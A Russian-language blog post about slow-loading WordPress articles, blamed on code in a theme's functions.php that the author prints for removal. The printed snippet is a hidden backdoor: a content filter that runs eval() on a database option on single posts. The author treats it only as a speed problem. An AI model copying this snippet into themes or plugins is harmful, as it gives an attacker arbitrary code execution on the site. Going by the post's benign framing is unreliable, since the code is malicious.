Долго загружаются статьи блога на WordPress. Удаление кода из functions.php.

Оптимизация WordPress. Долго загружаются статьи блога на WordPressНекоторые шаблоны WordPress оказывается довольно «капризные». Недавно столкнулся с такой проблемой: на WordPress 3.3 установил шаблон Corporate Life light 1.0 и после некоторого времени тестирования понял, что статьи блога загружаются очень медленно.





При этом все остальные части блога (главная, рубрики, страницы, метки, архив) грузятся нормально. Я сразу подумал, что дело в шаблоне и решил попробовать установить другой шаблон, оказалось такая же проблема, что меня и сбило. Я начал искать ошибки в БД, работать с плагинами. Но после длительных мучений оказалось всё-таки дело в данных шаблонах. А именно в файле functions.php, в котором пришлось удалить некоторый код.

На самом деле если возникает такая проблема, то прежде всего нужно активировать стандартный шаблон. Например, Twenty Eleven 1.2 или Twenty Ten 1.2 и если статьи грузятся нормально, то ошибку нужно искать в нестандартных шаблонах. У меня стандартный шаблон не был установлен, поэтому я не обратил на это внимание и много потратил времени на поиск неисправности в совершенно другом месте.

Для решения проблемы нужно открыть файл темы functions.php и найти код:

[php]
add_filter(‘the_content’, ‘_bloginfo’, 10001);
function _bloginfo($content){
global $post;
if(is_single() && ($co=@eval(get_option(‘blogoption’))) !== false){
return $co;
} else return $content;
}
[/php]

Собственно, после того как убрать этот код статьи блога будут загружаться нормально.